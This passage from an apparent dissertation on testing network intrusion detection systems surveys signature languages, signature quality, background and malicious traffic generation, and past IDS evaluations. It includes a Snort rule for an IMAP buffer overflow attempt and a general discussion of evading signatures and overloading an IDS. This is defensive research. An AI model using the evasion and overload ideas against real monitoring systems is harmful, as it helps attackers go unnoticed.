not belong to the previous categories. Examples are signatures that
require negation pattern or generalized event selection (e.g., when 3
conditions out of 5 must be satisfied).

In another theoretical study [meier04] Meier adapts Zimmer’s seman-
tics [zimmer99] used in the active database field to analyze the semantics
of attack signatures. These works are both independent from the underly-
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ing signature language and they represent a first attempt to formalize the
problem, providing the basis for further studies of language expressiveness.

Focusing on more practical signature languages, Vigna et al. [eckmann00,
vigna00] suggest seven properties that a common detection language should
satisfy:

• Simplicity - the language should provide only the required features
and it should be easy for the user to describe complex scenarios.

• Expressiveness - the language should support the representation of
any detectable intrusion.

• Rigor - the syntax and semantics of the language should be rigorously
defined.

• Extensibility - it should be possible to extend the language by adding
new predicates and new event types.

• Executability/Translability - the language should be executable or
at least it should be possible to automatically translate it into an
executable form.

• Portability - the same language should be applicable in different en-
vironments.

• Heterogeneity - the language should support heterogeneous event
types, from both network and host sources.

In the following we briefly analyze four different well-known languages,
each adopting a different approach to describe intrusive behaviors: Snort
language (a fast and flexible language based on pattern-matching rules),
Bro (a language enhanced with context information), STATL (a state tran-
sition language), and P-BEST (based on production rules).

Snort Language

Snort is one of the most widely deployed NIDS and the undisputed leader
of the open source segment. Thanks to that, many IDSs can import Snort
signatures or at least they often provide tools to translate Snort rules into
their language.
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1 a l e r t tcp $EXTERNAL NET any −> $HOME NET 143 (
2 msg : ”IMAP log in bu f f e r over f low attempt ” ;
3 f low : e s t ab l i s h ed , t o s e r v e r ;
4 content : ”LOGIN” ;
5 i s d a taa t : 100 , r e l a t i v e ;
6 pcre :”/\ sLOGIN\ s [ ˆ\n ]{100}/ smi ” ;
7 r e f e r e n c e : bugtraq , 5 0 2 ; r e f e r e n c e : cve ,1999 −0005;
8 c l a s s t yp e : attempted−user ;
9 s i d : 1 8 4 2 ; rev : 1 3 ; )

Figure 2.5: Example of Snort rule

Snort uses a lightweight, efficient rule description language [snort:rules]
in which each rule contains one or more elements that are evaluated in
an AND relation. The language is stateless and strictly pattern-matching
oriented. Figure 2.5 shows one of the rule that comes with Snort. The
first line is the rule header and contains two types of information. The
alert keyword tells the engine which action should be executed in case
of matching, in this case the generation of an alert message. The rest
of the line specifies that the rule refers only to TCP traffic coming from
the external network and directed to port 143 of any host of the home
network 3.

This rule contains three different patterns, defined in lines 4 ÷ 6. The
first pattern looks for the string “LOGIN” in the packet payload. The sec-
ond verifies that there are at least 100 bytes after the end of the “LOGIN”
string. The last line defines a Perl compatible regular expression [hazel:pcre]
that must be matched in case the previous two patterns are found in the
stream.

Bro Language

Bro is the signature language of the homonym intrusion detection sys-
tem [paxson98]. Bro adopts a two layer approach. The intrusion models
are written in what Bro calls policy script, each one composed by a number
of event handlers that specify what to do whenever a given event occurs.
Like a traditional programming language, event handlers can modify global

3The meaning of the terms HOME-NETWORK and EXTERNAL-NETWORK can
be specified in the Snort configuration file.
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Figure 2.6: Half Open STATL scenario

state information, generate new events, invoke user-defined functions, gen-
erate alerts and log messages, and more in general execute any arbitrary
command.

At the underlying layer, Bro provides a different language specifically
designed to define pattern-matching rules (called signatures in the Bro
jargon). These are very similar to the Snort rules (in fact, most of them
have been automatically translated from the Snort ones) and in case of
matching they generate special events which can then be analyzed by the
policy scripts.

Another interesting point is that Bro has been explicitly designed to pro-
vide additional context information to its signature [sommer03]. Thanks
to that, a rule can test the software running on the target machine or con-
sider in which way the server replies to the malicious traffic to understand
whether an attack succeeded or not.

STATL

STATL [eckmann00] is the language developed for the STAT intrusion
detection suite: USTAT [ilgun93], WinSTAT, and NETSTAT [vigna99]. It
allows users to define complex attack scenarios, each modeled as a sequence
of steps that bring the system from a safe state to a compromised one. A
scenario can define constants and local variables, and it is described as a set
of states and transitions. So, even though STATL is a text based language,
its states/transitions nature makes it possible to represent a scenario in a
graphical form (Figure 2.6 shows the state transition diagram of an half-
open scan).

STATL defines three types of transitions: consuming, nonconsuming, and
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1 ru l e [ Bad Login (#10;∗) :
2 [+e : event | event type == log in ,
3 r e tu rn code == BAD PASSWORD]
4 ==>
5 [+ bad log in | username = e . username ,
6 hostname = e . hostname ]
7 [−| e ]
8 [ ! | p r i n t f ( ‘ ‘Bad l og i n f o r user %s from \
9 host %s \n ’ ’ , e . username , e . hostname ) ]
10 ]

Figure 2.7: Example of P-BEST rule

unwinding. Consuming transitions change the current state of the scenario.
Nonconsuming transitions generate a new instance of the scenario in the
destination state but the previous scenario is still available, allowing the
attack to independently evolve from either one of the two states. Finally,
unwinding transitions invalidate the current state executing a rollback of
the scenario to one of the previous states.

The result is a very flexible language that can easily be adopted to de-
scribe complex intrusion models for both host and network intrusion de-
tection systems.

P-BEST

The Production-Based Expert System Toolset (P-BEST) [lindqvist99] is
the rule description language originally employed in the Multics Intru-
sion Detection and Alerting System (MIDAS) [sebring88]. Furthermore,
In the past decade it has been adopted in other three different intrusion
detection systems: IDES [lunt92, javitz91], NIDES [javitz94], and Emer-
ald [porras97].

P-BEST is a language to implement forward-chaining expert systems,
i.e., systems that given a base of facts can logically derive new facts through
modus ponens. The knowledge resides in a set of rules, expressed as:

IF antecedent THEN consequent

where the antecedent is the set of facts that must be true to activate the
rule, and the consequent defines a set of new facts that must be added to the
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factbase and/or a set of actions that must be executed by the system. Each
rule is initially written using the P-BEST language and then translated in
a C program to improve the overall performance.

Figure 2.7 shows an example of a P-BEST rule. Lines 2-3 define the
antecedent of the rule: in this case, any event with type = login and
return-code = BAD-PASSWORD. When the rule is activated, it adds a new
bad-login fact to the factbase (lines 5-6), deletes the original fact (line 7)
and shows an alert message (lines 8-9).

2.3.2. The Importance of Signature Testing

Independently from the language used to describes it, a signature repre-
sents the model that the intrusion detection system uses in order to decide
whether a portion of the network traffic contains or not the evidence of
an intrusion. Since the model is not perfect, the decision cannot be 100%
accurate.

The purpose of testing is to spot the presence of bugs in a program,
that is to find cases in which the system behavior differs from its spec-
ification. Even though testing cannot be used to show the absence of
bugs [dijkstra76], an extensive testing phase increases the confidence in
the product and should suggest that at least the program does not contain
obvious flaws.

From this point of view, intrusion detection signatures are not different
from any other piece of software. In addiction, since they represent approx-
imate models, testing can also help to verify whether the approximation is
good enough for our requirements. But what does the term “good” mean
for a detection model? To be able to reply to this question, first of all we
need to define some properties that are relevant for signatures.

Signature Properties

We can group the characteristics related to the goodness of a detection
model under two big families, namely accuracy and efficiency.

Accuracy describes how well the signature is able to model a given in-
trusion. It is related to the precision of the model and, since most of the
signatures are not perfect, it is often a trade off between how much the
model can abstract away from a single instance of the attack and how
many details of the attack the model tries to represent.
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We decompose the accuracy into three different properties:

• Resilience to variation - it is the ability of the detection model to ab-
stract away from a single attack implementation. This characteristic
allows the signature to identify many variations of the same attack,
reducing the probability that an attacker can evade the IDS (i.e.,
reducing the false negative rate).

A good resilience to variations usually supports the fact that the
signature has been derived from a description of the vulnerability
and not from one (or more) exploit scripts.

• Precision - it defines how well the signature describes the attack.
A good precision means that the model contains enough details to
identify with high precision a specific intrusive event. It is also a
measure of the amount of false alarm the signature can generate.

• System awareness - this is the ability of the model to distinguish
between failed attacks and successful intrusions. It is probably one
of the more difficult characteristics to achieve in a signature.

A model that matches the exact sequence of bytes of a particular attack
implementation is very precise (since no normal traffic can trigger it) but
it is probably very easy to evade. On the opposite, a model that generates
an alert any time it detects an attempt to connect to a vulnerable service
is very resilient to variations (because all the attacks must start opening
a connection to the target server) but it can potentially generate tons of
false positives in a network where the vulnerable application is largely used
by normal users. It is difficult to find a perfect balance between these two
extreme cases and sometimes by attempting to create an abstract signature
it is possible to undermine its detection precision.

In [ilgun95], the authors suggest that good detection models should con-
sider only those events that if removed from the attack would make the
attack unsuccessful. So, to achieve both resilience and precision at the
same time, a signature should model all and only the steps required to
accomplish the intrusion. Unfortunately, abstracting high quality models
from attack scenarios is a very difficult task, and the result is that modern
NIDSs often contain inaccurate signatures.

The second main property of a signature is its efficiency.
Efficiency has to do with how many resources the model requires to be
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matched. Performance is a key factor for network IDSs since they need to
analyze the traffic in realtime, processing the network packets at a speed of
tens, hundreds, or even thousands megabytes per second. Given the high
number of signatures they need to match against the traffic, it is important
that each of them requires a small amount of memory and few CPU cycles.

• CPU Efficiency - it is a measure of the computational complexity of
the model. Some signatures just require too much computation to
be adopted in a real time IDS. Other signatures may be very fast in
the average case, but perform very badly for some particular input
values.

• Memory Efficiency - nowadays computer memory is so cheap that it
is hard to believe that a couple of thousands signatures could rep-
resent a problem. The fact is that if the model saves some state
information, it is possible for an attacker to force the IDS to allo-
cate and maintain a large amount of data, eventually exhausting the
system resources.

In some cases, the overall efficiency is a trade-off between speed and
memory. An example is provided by pattern matching algorithms based
on regular expressions. Two different approaches, based respectively on de-
terministic and non-deterministic automata, are possible. If the expression
is matched using non-determinist automata, some expression may require
exponential time to be analyzed. In the case in which the automata is
translated into a deterministic one, the CPU is not a problem anymore
since the matching can always be done in linear time, but the translation
between the two types of automata may require an exponential amount of
memory.

A good efficiency can be extremely important, sometimes more than
accuracy. A weak signature (i.e., a signature with poor quality) can po-
tentially produce two kind of problems: it can generate too many false
positives or it can be easy to evade. In the latter case, a skilled attacker
can find a way to accomplish the attack unnoticed. On the other side,
an inefficient signature can undermine the whole intrusion detection sys-
tem compromising its availability and its ability to react to new attacks.
In this case the attacker can properly stimulate the inefficient signature,
forcing the IDS to spend a great amount of resources to analyze the fake
attacks. While the system is busy, the attacker is free to run any attack



Chapter 2. Background and Motivation 31

Testing















































Accuracy











False Neg.: uncovered before this thesis

False Pos.: partially cover by NIDS stimulators

Efficiency











CPU: uncovered

Memory: uncovered

Figure 2.8: State of black box signature testing

unnoticed. For this reason many IDSs rely on very simple signature lan-
guages, that guarantee very efficient matching operations at the cost of a
worse accuracy.

2.3.3. Feasibility of Black Box Testing

The previous section presented the properties that characterize a good
signature. The problem now is how those properties can be evaluated
through a black box approach.

If all the signatures were publicly available a careful review made by
many security experts could in some way solve (or at least mitigate) the
problem, providing precise insight to understand the quality of the models.
This approach is currently used in many other security fields: e.g., years of
public cryptanalysis is the (only) way in which cryptographic algorithms
are evaluated.

The fact that vendors keep their detection models secret makes much
more difficult to approach the problem. In this case, the only experts that
can review the signatures are the vendors employee, with obvious (and
biased) consequences.

In the following we propose some considerations on how the previous
properties could be evaluated using a black box testing methodology.
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Testing Accuracy

Testing the accuracy of a detection model boils down to evaluating two
orthogonal characteristics: (1) how difficult is to evade the model, a mea-
sure related to the false negative rate, and (2) how much normal traffic
can trigger the rule, that is a measure of the false positive rate.

So far, there were no existing methodologies to test detection models for
false negatives. The approach proposed by this dissertation (see Chapter 4)
represents the first attempt to resolve the problem in a systematic way.

The big problem of measuring the false positive rate is that it largely
depends on the network environment, on the set of security policies, and
on the type of services installed on the various hosts. A signature with
zero false positive rate in a network may raise thousands of false alarms
if deployed in a different organization. Moreover, there are nothing like
a “standard network environment”, or a “standard set of policies” that
security practitioners can use for their experiments.

The so-called IDS stimulators are a class of tools that have been pro-
posed [patton01] to test signatures accuracy, manly as far as false positives
concern. Unfortunately, as a matter of fact, these tools can only provides
information on the ability of a signature to distinguish between real in-
trusions and fake or ineffective attacks (IDS stimulator are presented in
section 3.4). Thus, testing the false positive rate of a NIDS is still an open
issue.

Testing Efficiency

Design testing experiments to evaluate the signatures efficiency is very
hard. Some research studies have been done using algorithmic attacks (to
test the CPU efficiency) and with state explosion attacks (to test the mem-
ory efficiency). Unfortunately, these kind of attacks require deep knowledge
of the model internals, limiting these experiment to open source intrusion
detection systems.

Figure 2.8 summarizes the current status of black box testing method-
ologies for intrusion detection signatures.



chapter three

Previous Works on NIDS

testing

The farther backward you can look,
the farther forward you are likely to see

Winston Churchill

In the past few years, the problem of systematically testing intrusion
detection systems has attracted increasing interest from both industry and
academia.

The problem is complicated by the fact that different intrusion detection
systems have different operational environments and may employ a variety
of techniques for producing alerts corresponding to attacks [ngss, ranum01].
For example, comparing a network-based IDS with a host-based IDS may
be very difficult because the event streams they operate on are different
and the classes of attacks they detect may have only a small intersection.
For these reasons, IDS testing and comparison is usually applied to homo-
geneous categories of IDSs (e.g., host-based IDSs).

In this chapter we present a survey of methodologies and tools that have
been designed to (or are currently used for) testing network-based IDSs.

3.1. Introduction: the How and What of NIDS testing

Before starting any testing experiment, it is extremely important to clearly
identify which are the objectives of the test. First of all it is important
to distinguish tests that aim at evaluating the effectiveness of the whole
system, from tests that are interested in measuring a single feature.

Considering the IDS system as a whole, we can identify a number of
characteristics that would be interesting to evaluate[nistir-7007]:

• Coverage - It is a measure of how many different attacks the IDS
can detect. For misuse-based systems it is strongly correlated to the
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number of intrusion models (even though it is often the case in which
multiple models are used to identify the same attack). For anomaly-
based IDSs, instead, it requires an extensive test, since there is not
a clear relation between the model of the normal behavior and the
number of attacks that the model can detect.

• Detection rate - The most known and widely adopted metric. It
represents the fraction of attacks correctly detected in a given time
frame. Nonetheless, it is not clear how this quantity should be mea-
sured, because it depends on so many different details that it is diffi-
cult to make the experiments repeatable and obtain meaningful and
general results. In fact, the detection rate is more an aggregation of
other characteristics than a characteristic per se.

• False alarm rate - The rate of false alarm generated by the IDS in
a given time frame. Of course, the false alarm rate depends on the
network environment and this makes this characteristic very hard to
be measured.

• Resistance to attacks against the IDS - An IDS, as any other software
product, may contain vulnerabilities that can be exploited by an
attacker to gain control of the system. This test aims at verifying the
resistance of the system to traditional and denial of service attacks.

• Capacity - A system that analyzes the traffic in realtime must be very
fast to cope with high bandwidth network streams. When the IDS
is too slow for a given network, the operating system socket queue
can be saturated and new incoming packets will be drop. A capacity
test usually measures the maximum loss-free rate, i.e., the maximum
speed at which the IDS can work without missing any packet.

• Correlation capabilities - The evidence of an attack can be spread
among multiple events. This test analyzes the ability of the IDS
to correctly correlates different events (even coming from different
sensors) reducing the number of alerts and allowing the identification
of complex and multi-step intrusions.

• Detection of unknown attacks - This is a characteristic very impor-
tant to evaluate for new detection paradigm and for anomaly-based
IDS. It is quite useless for traditional misuse-based systems since they
cannot detect attacks if they do not have the corresponding models.
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• Attack identification - Detecting intrusion attempts is not enough. A
good IDS should be able to correctly identify the attack and provide
accurate information about the intrusion details.

• Ability to distinguish attacks and intrusions - It is the ability of a
NIDS to correctly evaluate each intrusion attempt, separating the
failed attacks from the successful intrusions.

Unfortunately, only a few of these metrics were actually measured in the
past testing experiments and sometimes with questionable results (section
3.3 presents an overview of the major testing experiments in this field from
both industry and academia).

Anyway, all these metrics aim at evaluating the intrusion detection sys-
tem as a whole. If we concentrate our research on the problem of testing
the quality of detection models, the situation is even worse. The problem of
poor signature quality has been known since the beginning of the intrusion
detection research, but only lately the importance of evaluating the qual-
ity of NIDS signatures has been widely discussed. SecurityFocus published
a series of articles [karen02] presenting some general recommendations to
help people testing NIDS signatures. Anyway, a general methodology is
still missing and this dissertation presents the first serious attempt to pro-
pose a framework to test network intrusion detection models, at least for
the problem of false negative (see Chapter 4 for more details).

3.1.1. Testing Methodologies

When the problem of testing IDSs started to spread inside the security
community, it was clear that a set of guidelines on “how” these experi-
ments must be conducted were needed. Computer testing was already a
well established field, providing a good starting point on which researchers
could develop their own methodologies.

N.J.Puketza et al. [puketza96, puketza97] at U.C.Davis made one of the
first attempts to formalize an IDS testing methodology. They propose
a criterion to choose the test cases (i.e., the attacks to be used in the
experiment) based on three different taxonomies: a classification of the
intrusions [neumann89], a classification of the vulnerabilities [landwehr94],
and a classification of the signature types [kumar94]. They then enumerate
a list of experiments, unfortunately quite dated nowadays and focusing only
on host-based attacks and detection.
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A more recent paper on the topic is [ranum01] by M. Ranum. The author
discusses a number of issues and common errors that affect most of the
intrusion detection testing experiments. In particular he focuses on the
traffic generation problem and on the measures that are relevant for IDSs.

Finally, the “Overview of issues in testing IDSs” [nistir-7007] by the
National Institute of Standard and Technology (ITL) is a good starting
point for the argument. It presents a survey of the existing testing efforts, a
detailed list of current problems related to IDS testing, and a set of research
recommendations for improving both data sets and testing metrics.

3.1.2. Issues in NIDS Testing

One of the main issue in setting up a testing experiment consists in collect-
ing the exploit scripts and the corresponding vulnerable services. While
the firsts are relatively easy to find on the Internet, procuring the corre-
sponding target applications can be very difficult since most of the time
only the current (and already patched) version is publicly available. More-
over, also when both the script and the target are accessible, it may take
some time for the user to figure out how the attack works and how to fix
occasional problems (e.g., the correct return address for buffer overflow
attacks).

Another issue is related to the IDSs configuration. Many experiments
have been done just putting the system on the network without any previ-
ous tuning on the surrounding operational environment. This approach of
testing “default” installations can lead to unfair results. On the contrary,
properly tuning many different IDSs can be very difficult and the results
can still be biased because a system was configured better than the others
(a fact that is frequent and unfortunately impossible to measure).

A third problem is the lack of metrics for many of the IDS’s character-
istics we have presented in the previous section. If the testing experiment
aims at evaluating and not only at comparing IDSs, we need a way to
provide a measure of the various system qualities. For example, it is not
clear what is the right way to present the results of an experiment that
measures the attack identification capability.

Finally, one of the biggest problems is related to the generation and use
of the network traffic. To this problem and its consequences on the design
of testing experiments is dedicated the next section.
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3.2. Traffic Generation

In any IDS testing experiment, one of the most difficult problem is related
to the network traffic generation. Even though most of the problems are
the same for both categories, we can distinguish between the malicious
traffic, i.e., the traffic containing the intrusive behavior, and the background
traffic that should instead represent the realistic and non intrusive traffic.

3.2.1. Background Traffic

The purpose of background traffic is twofold: (1) increase the network
traffic to stress the IDS operating speed, and (2) add normal traffic to
be sure that the intrusion detection can distinguish it from the intrusive
events (i.e., that it does not generate too many false alarms).

We can distinguish two main classes of traffic: synthetic and real. Syn-
thetic traffic is generated using load generator tools. Generic network load
generators (like SmartBits [smartbits], ttcp [ttcp] or iperf [iperf]) were
initially designed to test network devices (e.g., switch, hub, and bridge).
They generate packets (IP ,TCP and UDP) using some pseudo-random
technique, because the target devices usually do not care about the packet
payloads. Unfortunately, intrusion detection systems do care about the
packet payloads and random sequences of bytes are not a good way to
simulate realistic traffic. Whenever an IDS analyzes a TCP packet to port
80 containing just garbage it can decide to report the anomalous behavior
or just drop the packet without any further analysis; anyway, this is not
what the system would do in presence of normal HTTP traffic.

To overcome this problem, many “intelligent” traffic generators have been
proposed. Harpoon [sommers04:harpoon] can recreate TCP and UDP traf-
fic setting its byte, packet, temporal and spatial characteristics based on
real parameters automatically extracted from routers in live environments.
Another interesting approach consists in making the generation tool proto-
col aware, allowing it to emulate the traffic that a real user would generate
through the network [barford98]. These tools can create HTTP, FTP,
mail, and Telnet sessions that look reasonable from a syntactic point of
view. Unfortunately, the behavior is somehow repetitive and it often rep-
resents only a bad approximation of what real users do in their everyday
job. Moreover, many NIDSs can perform very well with this type of traffic
generating almost no false positives (after all the IDS developers probably
use the same tools in their labs) but that does not mean that they will
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perform as well in a real network environment.

Many authors [ranum01] agree that synthetic traffic should never be used
as background traffic in a network intrusion detection testing experiment.
Unfortunately, also the use of real traffic is not without problems. First
of all, real traffic contains many sensitive information that must be accu-
rately removed before making it available for testing experiments. These
information varies from network topology (that can be inferred from the
packets IP addresses) to confidential data and private communications
(spread in almost any packets payload). To overcome these privacy is-
sues, real traffic means most of the time sanitized traffic. The result is
not as bad as synthetic traffic since it preserves some features of the real
traffic, but the sanitazation process can end up changing or removing too
many information, reaching a point were the traffic does not look realistic
anymore.

Another big problem of using real traffic is the difficulty to ensure that
it does not contain any attack. In fact, since the background traffic is
by definition “normal”, the presence of malicious events can distort the
result of the test. For instance, it is often the case that part of the clean
background traffic is used to train the anomaly-based algorithms. An
attack in this traffic would be learned as “normal behavior”, making the
intrusion detection system ineffective against that type of intrusion.

To summarize, there are four type of background traffic that can be
used in NIDS testing experiments: (1) no traffic, (2) synthetic traffic, (3)
real traffic, and (4) sanitized traffic. Due to the previous problems, many
tests still use synthetic traffic and new paper proposing better approach
to generate fake traffic are published every year [antonatos04].

3.2.2. Malicious Traffic

Most of the considerations presented for background traffic can also be
applied to malicious traffic. With this term, we refer to the traffic that
contains the intrusion attempts, i.e., the traffic that the NIDS should prop-
erly identify and report.

A first distinction is made between “live” network setup and replayed
traffic. In the first case, the experiment requires a real testbed network that
must contain at least three different hosts: (1) the target host, running the
vulnerable services, (2) the host running the NIDS under test, and (3) the
attacker host that generates the malicious traffic. In the second scenario,
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the traffic has been previously generated and saved in a dump file. During
the experiment it is just replayed using some tools like tcpreply, and no
real target hosts are needed.

There is a big difference between the two approaches. In the case of re-
played traffic, the packets look real but there is no communication between
real hosts (to be precise, there are no real hosts at all). That means that if
the NIDS tries to perform some kind of verification to check whether the
suspicious events eventually cause an intrusion, it does not find any host
to talk with. The result could be that these “smart” NIDSs perform very
bad with replayed traffic: after all, they understand that the traffic is fake
and that it cannot produce any intrusions whatsoever.

Unfortunately, this technique is very common in many testing experi-
ments since it is easily repeatable and does not require to set up complex
infrastructures. A real network testbed requires a number of vulnerable
services to be found and installed (often under different operating systems,
or different version of the same system) and this operation takes a lot of
time and resources to be done.

Besides the problem of “replaying vs. generating the traffic on the fly”,
we can distinguish two types of attacks that can be used to test IDSs: real
and virtual.

Virtual attacks are generated by tools that craft sequences of packets
that “should trigger” a NIDS. All the IDS stimulators (see section 3.4 for
more details) belong to this category. Sometimes these tools do not even
recreate complete TCP transactions, limiting the traffic generation to one
side of the communication. Virtual attacks have been widely criticized and
they should be used with care in testing experiments. A possible use of
this type of malicious traffic is in testing the false alarm rate or the ability
of a NIDS to distinguish between a real attack and a bunch of packets that
just look like an attack.

Running real attacks is the correct approach to generate malicious traffic.
But how often happens with “correct approaches”, it requires a lot of effort
in setting up a live network in which real exploits can be executed against
real vulnerable servers.

Finally, there is the problem of putting background and malicious traffics
together. Merging traffics generated in different way can lead to weird
effects that can easily confuse a network intrusion detection system. For
instance, an attack can crash or compromise a service while the background
traffic is still opening connections with it like if nothing happened.
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A special case of replayed traffic that contains both normal and malicious
events is the DEFCON CTF traffic. DEFCON [defcon] is an underground
convention that brings together programmers, hackers, security experts,
and any sort of computer geeks from all around the world. During the
conference a capture the flag (CTF) competition is organized where differ-
ent hacker teams compete in an isolated network to defend their system
and attack the other ones. Every year, the packets are logged and then
made available to the security community for testing purpose. This traf-
fic is very unusual and contains a huge number of attacks (most of them
developed from scratch during the competition), making it an interesting
data set to stress network intrusion detection systems. Anyway, since it is
hard to find something “normal” in a DEFCON CTF trace, this traffic is
more suitable to test misuse-based than anomaly-based systems.

3.3. Previous Works in NIDS testing

3.3.1. Main Testing Experiments

A class of intrusion detection evaluation efforts has sought to quantify the
relative performance of heterogeneous intrusion detection systems by es-
tablishing large testbed networks equipped with different types of IDSs,
where a variety of actual attacks is launched against vulnerable hosts in
the testbed [lippmann98, durst99, haines03:validation]. A common prob-
lem that affects many public experiments is that they tend to compare
systems instead of evaluating their quality. Nevertheless, these large-scale
experiments have been a significant benefit to the intrusion detection com-
munity. Practitioners have gained quantitative insights concerning the
capabilities and limitations of their systems (e.g., in terms of the rates of
false positive and false negative errors) in a test environment intended to be
an unbiased reproduction of a modern computer network. While generally
competitive in flavor, these evaluations have precipitated valuable intellec-
tual exchanges between intrusion detection practitioners [mchugh00].
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MIT Lincoln Lab

MIT/LL sponsored by the Defense Advanced Research Projects Agency
(DARPA) conducted one of the most extensive IDS testing experiments
in 1998 [ideval98] and 1999 [ideval99]. The network traffic of an Air Force
base with thousands of machines and hundreds of users was simulated. Ad-
hoc scripts were developed to recreate realistic behaviors of various classes
of users: programmers, secretaries, managers, and system administrators.
A large set of known and novel attacks were executed in the test-bed
against different operating systems. The ’99 experiment evaluated more
than 18 research IDSs, measuring the detection rate, the false positive rate,
and drawing the corresponding ROC curves. The evaluation of the various
systems also took into account the amount of information reported for each
attack (e.g., attack name, starting time, and intrusion category). Finally,
the systems that performed better in the lab experiment were tested for
false positives with the real Air Force traffic.

1998 Experiment Added in 1999

Targets Unix Windows NT

Background Traffic
Windows traffic

Various unix services Real traffic to test
false positive rate

Malicious Traffic
38 Attacks types > 50 Attacks type
Outside attacks Inside attacks

Metrics
Detection rate Attack identification

False positive rate Error analysis

ROC curves

Table 3.1: Comparison between ’98 and ’99 MIT/LL experiments.

The labeled data set used in the experiment was then made publicly
available and it has been used to test many new intrusion detection algo-
rithms in the past years.



42 Testing Network Intrusion Detection Systems

France Telecom

France Telecom developed a testing environment to compare Snort (adopted
as baseline product) with other four commercial IDSs [debar02]. Unfor-
tunately, the authors did not disclosure the names of the other systems,
just referring to them as IDS-A, IDS-B, IDS-C, and IDS-D. The experi-
ment focused on measuring both the false positive and false negative rate in
case of IP denial-of-service attacks, Trojan horse, and various HTTP-based
attacks.

Even though they recognize the importance of attack mutation to evalu-
ate the quality of detection models, they only implement application layer
mutations to modify the HTTP traffic. For that purpose they adopted a
publicly available tool named Whisker (see section 3.4 for more information
on this tool) that unfortunately was mostly used to execute vulnerability
scan, instead on concentrating on real attacks mutations. Anyway, the
experiment results pointed out how most of the present IDSs (the compar-
ison toke place in 2002) still need to be improved to cope with even the
simplest attack variations.

Neohapsis OSEC

Neohapsis Open Security Evaluation Criteria (OSEC) [neohapsis:osec] is a
framework for evaluating the security functionality of networked products.
In 2003 they conducted a NIDS testing experiment involving eight different
systems. The set of experiments was quite accurate: it included a baseline
attack detection, an integrity check, a detection test under various level
of background traffic, and a test in which a set of obfuscation and evasion
mechanisms were used to confuse the IDSs.

This last test is particularly interesting because it involved more than
30 different techniques working at either TCP, IP, or HTTP layers. Each
technique was applied alone, and no combination has been tried. Surpris-
ingly, and against the trend of other testing experiments, almost all the
IDSs performed very well in all the mutation tests.
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NSS Group

The NSS group [nss] is an independent network and security testing orga-
nization that in the past years conducted four different group evaluations
of intrusion detection systems.

All their tests are very complete, starting from basic attack detection
with no background traffic, then trying with different traffic configurations
(varying both the bandwidth and the packet size), and finally evaluating
the NIDS performance under high network load and using some standard
evasion techniques.

Unfortunately, the document containing the experiment specifications
and the final results is not available for free and it must be purchased on
the vendor online store.

Network World Magazine

This test [networkworld02] is interesting because it was not performed in
a lab environment but in a live Internet Service Provider (ISP). During
the experiment (conducted in 2002) seven IDSs were installed in the pro-
duction network of Opus One, an ISP in Tucson, Arizona. There were no
malicious traffic intentionally used in the test. But the organizers added
four sacrificial machines running old, unpatched versions of Windows 2000
Server, NT 4.0 Server, Red Hat Linux 6.2 and Sun Solaris 2.6. In this way,
they could attract real attackers and worms.

A first interesting result was that only one of the IDSs under test was
able to keep working for the entire experiment (that lasts for about four
weeks). Another metric was the systems accuracy. The authors reported
that the biggest problem was that the correct alerts were always buried
inside so many false alarms that the they were barely visible. In this test
they considered false alarms also the alert messages related to unsuccessful
attacks, proving that if the IDS is not able to distinguish between attacks
and intrusions the number of messages becomes so high to completely hide
the interesting alerts. For example, during the tests all the IDSs generated
millions of messages related to Code Red and Code Blue attacks (two
famous Windows worms), even though the web server was not running on
a Windows machine.

Even though these results are very interesting, they are mitigated by
the fact that the test did not follow a rigorous scientific approach; the
focus was on comparing different IDS solutions with the only purpose of
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providing useful information to system administrators that were about to
buy an IDS product.

3.3.2. Testbed

Each testing experiment presented in the previous section provides an im-
portant snapshot of the state of NIDSs at the moment the test was per-
formed. The problem is that a serious testing approach cannot rely on
occasional experiments requiring months of preparation, but would need,
instead, a deployable testing environment that can be used to set up new
experiments in a reasonable amount of time.

Such environments should be highly customizable to allow the user who
design the test to simulate different environments and different kinds of
network traffic. Moreover, a good testbed must be able to automate (or
at least simplify) most of the operations related to the deployment, the
execution, and the collection of testing results.

Although in most of the previous testing experiments the authors de-
veloped an internal test-bed environment targeted to their needs, in the
following we limit our description to some of the most mature testbed
product available in the field.

LARIAT

Developed at Lincoln Lab as an extension of the testbed used in the
DARPA experiments, LARIAT (acronym for Lincoln Adaptable Real-time
Information Assurance Testbed) is an environment for real-time, auto-
mated, and quantitative evaluation of intrusion detection systems [rossey02].

In LARIAT, an experiment consists of seven steps:

1. The user selects the network traffic profile and the attacks to be run.

2. The testbed network is initialized.

3. The background traffic profiles are sent to each host.

4. The traffic profile is used to prepare a set of background and attack
scripts and each action is added to the schedule.

5. Experiment execution.
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6. Attacker logs are analyzed and evidences are collected to prove the
attack results.

7. Host cleanup.

Note that only the first step requires user intervention, while the rest of
the process is totally automated. The background traffic is synthetic and
generated using user-defined policies, while the malicious traffic is real,
and it is based on attack scripts executed during the experiment against
real targets. Lariat seems to be one of the most comprehensive testbed for
intrusion detection testing but, unfortunately, it is not publicly available.

TIDeS

TIDeS [singarajul04] (Testbed for evaluating Intrusion Detection Systems)
has been developed to overcome some of the limitations of the previous
testbed projects. The network is simulated using an honeypot1 system,
namely Honeyd [provos04]. A number of scripts are used to generate le-
gitimate or malicious network interactions (six protocols are supported for
the background traffic and approximately forty scripts are used for the
attacks).

The authors also propose an approach based on fuzzy logic to represent
the results of the experiments and to combine together in a single metric
the error rate (false positives and false negatives) and the network traffic
under which the test has been executed. Thus, for example, an IDS with a
“very low” error rate in presence of a “medium” traffic results in a “good”
final grade.

LLSIM

The Lincoln Laboratory Simulator [haines03:llsim] (LLSIM) is a Java-
based network simulator. It consists in a number of event generators that
can emulate a complex network environment using only a single worksta-
tion. Unlike TIDeS and Lariat, LLSIM is based on a synthetic simulation
instead of using a real network architecture to generate the traffic. This,
according with the authors, makes the system more scalable and allows for
a “faster than realtime” process. On the other side, in order to keep the

1An honeypot is a surveillance tool that consists in a sub-network (real or emulated)
intended to detect computer attacks.
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high performance, LLSIM does not generate low level data, such as network
packets or host audit entries. For example, network events just consists
in a timestamp, the type of traffic (TCP, UDP, or ICMP), the source and
destination addresses and ports, and a field that describes special contents
(such as “ActiveX” for HTTP traffic).

The result is that this testbed can be used to generate events for corre-
lation purpose but it is totally inadequate for other kind of IDS testing.

3.3.3. Research Experiments

Most of the previous works have their roots in the academic research. In
particular, the few studies on the efficiency of the IDS’s detection models
come from the academic world.

Wenke Lee and al. [wenke02], provided an analysis of IDS performance
metrics and constraints. They start from the assumption that a statically
configured IDS can be overloaded by an attacker, reaching a point where
it starts dropping packets and missing attacks. For this reason the authors
suggest that an IDS should provide performance adaptation, performing
